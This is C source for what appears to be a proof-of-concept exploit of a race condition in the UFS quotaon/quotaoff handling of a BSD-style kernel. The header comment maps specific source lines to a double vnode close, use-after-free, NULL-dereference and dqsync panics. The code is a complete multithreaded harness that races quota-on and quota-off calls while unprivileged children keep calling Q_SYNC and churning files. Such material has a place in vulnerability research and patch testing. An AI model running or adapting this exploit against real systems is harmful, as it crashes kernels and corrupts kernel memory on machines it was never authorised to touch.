/*
 * DF-3120 PoC v2: unsynchronized UFS quotaon/quotaoff mount-state machine.
 *
 * ufs_quotaoff() (sys/vfs/ufs/ufs_quota.c:495) never tests QTF_CLOSING
 * (set at :505, read only by ufs_dqget at :762) and shares no lock with
 * ufs_quotaon() or another ufs_quotaoff().  vfs_busy() in ufs_quotactl
 * (ufs_vfsops.c:141) is a shared unmount pin, not mutual exclusion.
 *
 * Two threads passing the qvp!=NULLVP check at :503 double-execute:
 *   - double vn_close(qvp) at :519 -> vrele() on refcnt-0 vnode
 *     -> KKASSERT (vfs_lock.c:354) or silent refcount desync -> UAF
 *   - second crfree(ump->um_cred[type]) at :521 with um_cred == NOCRED
 *     (== NULL, ucred.h:82) -> NULL-deref panic in crfree (kern_prot.c)
 *   - stale scan's dqrele->dqsync after :520 cleared um_quotas
 *     -> panic("dqsync: file", ufs_quota.c:909) / VOP_WRITE on closed vp
 *
 * v2: 8 rotating quota files so a double close usually hits a vnode
 *     whose refcount is really 0 (KKASSERT) instead of stealing a ref
 *     from a same-file re-quotaon; 4 off threads; children poll
 *     /tmp/QTSTOP so they exit cleanly; main logs to stderr.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <pthread.h>
#include <sys/stat.h>
#include <sys/types.h>

#define SUBCMDMASK  0x00ff
#define SUBCMDSHIFT 8
/* kernel Q_* constants are pre-shifted (<<8); cmds = (Q_cmd << 8) | type */
#define QCMD(cmd, type) (((cmd) << SUBCMDSHIFT) | ((type) & SUBCMDMASK))
#define Q_QUOTAON  0x0100
#define Q_QUOTAOFF 0x0200
#define Q_GETQUOTA 0x0300
#define Q_SYNC     0x0600
#define USRQUOTA   0

int quotactl(const char *, int, int, void *);

#define CTRL "/qtmnt/ctrl"
#define CHURN_DIR "/qtmnt/churn"
#define NQF 8

static char qf[NQF][32];
static volatile int stop = 0;
static unsigned long n_on[2], n_off[4], e_on[2], e_off[4];

static const char *
qf_path(int i)
{
	return (qf[i % NQF]);
}

static void *
thr_on(void *arg)
{
	long id = (long)arg;
	unsigned long n = 0;
	char path[32];
	snprintf(path, sizeof(path), "/qtmnt/ctrl%d", (int)id);
	while (!stop) {
		if (quotactl(path, QCMD(Q_QUOTAON, USRQUOTA), 0,
		    (void *)qf_path(id + n)) == 0)
			n_on[id]++;
		else
			e_on[id]++;
		n++;
	}
	return (NULL);
}

static void *
thr_off(void *arg)
{
	long id = (long)arg;
	char path[32];
	snprintf(path, sizeof(path), "/qtmnt/ctrl%d", (int)id);
	while (!stop) {
		if (quotactl(path, QCMD(Q_QUOTAOFF, USRQUOTA), 0, NULL) == 0)
			n_off[id]++;
		else
			e_off[id]++;
	}
	return (NULL);
}

static int
stopped(void)
{
	static struct stat sb;
	if (stat("/tmp/QTSTOP", &sb) == 0)
		return (1);
	return (stop);
}

/* unprivileged: Q_SYNC needs no privilege (ufs_vfsops.c:126) */
static void
nobody_child(int kind)
{
	pid_t pid = fork();
	if (pid < 0)
		exit(1);
	if (pid > 0)
		return;
	int devnull = open("/dev/null", O_RDWR);
	dup2(devnull, 0); dup2(devnull, 1); dup2(devnull, 2);
	setgid(65534);
	if (setuid(65534) != 0)
		_exit(2);
	if (kind == 0) {			/* sync child */
		for (;;) {
			quotactl(CTRL, QCMD(Q_SYNC, USRQUOTA), 0, NULL);
			quotactl(CTRL, QCMD(Q_GETQUOTA, USRQUOTA), -1,
			    (void *)0x1000);
			if (stopped())
				_exit(0);
		}
	} else {				/* churn children */
		char path[128], buf[4096];
		unsigned long i = 0;
		memset(buf, 'A', sizeof(buf));
		for (;;) {
			snprintf(path, sizeof(path), "%s/c%d.%lu",
			    CHURN_DIR, kind, i++);
			int fd = open(path, O_CREAT | O_RDWR, 0644);
			if (fd >= 0) {
				write(fd, buf, sizeof(buf));
				fsync(fd);
				close(fd);
				unlink(path);
			}
			if ((i & 0x1f) == 0 && stopped())
				_exit(0);
		}
	}
}

int
main(int argc, char **argv)
{
	int runtime = argc > 1 ? atoi(argv[1]) : 240;
	pthread_t ton[2], toff[4];
	int i;

	unlink("/tmp/QTSTOP");
	mkdir(CHURN_DIR, 0777);
	chmod(CHURN_DIR, 0777);
	{ int j; for (j = 0; j < 8; j++) {
		char p[32]; snprintf(p, sizeof(p), "/qtmnt/ctrl%d", j);
		int fd = open(p, O_CREAT | O_RDWR, 0644);
		if (fd >= 0) close(fd);
	} }
	for (i = 0; i < NQF; i++) {
		snprintf(qf[i], sizeof(qf[i]), "/qtmnt/q%d", i);
		int fd = open(qf[i], O_CREAT | O_RDWR, 0600);
		if (fd >= 0)
			close(fd);
	}

	quotactl(CTRL, QCMD(Q_QUOTAON, USRQUOTA), 0, qf_path(0));

	nobody_child(0);	/* unpriv sync   */
	nobody_child(1);	/* unpriv churn  */
	nobody_child(2);

	for (i = 0; i < 2; i++)
		pthread_create(&ton[i], NULL, thr_on, (void *)(long)i);
	for (i = 0; i < 4; i++)
		pthread_create(&toff[i], NULL, thr_off, (void *)(long)i);

	sleep(runtime);
	stop = 1;
	for (i = 0; i < 2; i++)
		pthread_join(ton[i], NULL);
	for (i = 0; i < 4; i++)
		pthread_join(toff[i], NULL);
	creat("/tmp/QTSTOP", 0644);
	sleep(2);

	fprintf(stderr, "SURVIVED on=%lu/%lu off=%lu,%lu,%lu,%lu "
	    "(onerr=%lu/%lu offerr=%lu,%lu,%lu,%lu)\n",
	    n_on[0], n_on[1], n_off[0], n_off[1], n_off[2], n_off[3],
	    e_on[0], e_on[1], e_off[0], e_off[1], e_off[2], e_off[3]);
	return (0);
}
